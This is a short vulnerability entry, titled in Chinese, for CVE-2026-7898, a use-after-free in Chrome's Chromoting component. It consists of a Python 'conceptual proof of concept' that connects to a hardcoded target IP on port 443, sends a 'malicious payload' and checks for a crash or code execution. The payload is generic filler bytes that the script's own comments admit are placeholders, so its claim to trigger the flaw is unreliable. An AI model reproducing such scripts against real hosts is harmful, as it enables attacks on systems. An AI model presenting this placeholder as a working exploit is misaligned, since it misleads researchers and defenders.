CVE-2026-7898 Chrome Chromoting释放后重用漏洞

import socket # Conceptual Proof of Concept for CVE-2026-7898 # This script simulates sending malicious network traffic to trigger the UAF. # Target: Google Chrome Chromoting component on Linux < 148.0.7778.96 target_ip = "192.168.1.100" target_port = 443 # Default HTTPS/Chromoting port # Malicious payload designed to trigger the Use-After-Free condition # Specific bytes would depend on the actual memory layout and exploit logic. payload = b"\x00\x01\x02" + b"A" * 1000 + b"\xff\xff\xff\xff" try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print("[*] Sending malicious payload...") s.send(payload) print("[*] Payload sent. Check target for crash or code execution.") s.close() except Exception as e: print(f"[!] Error: {e}")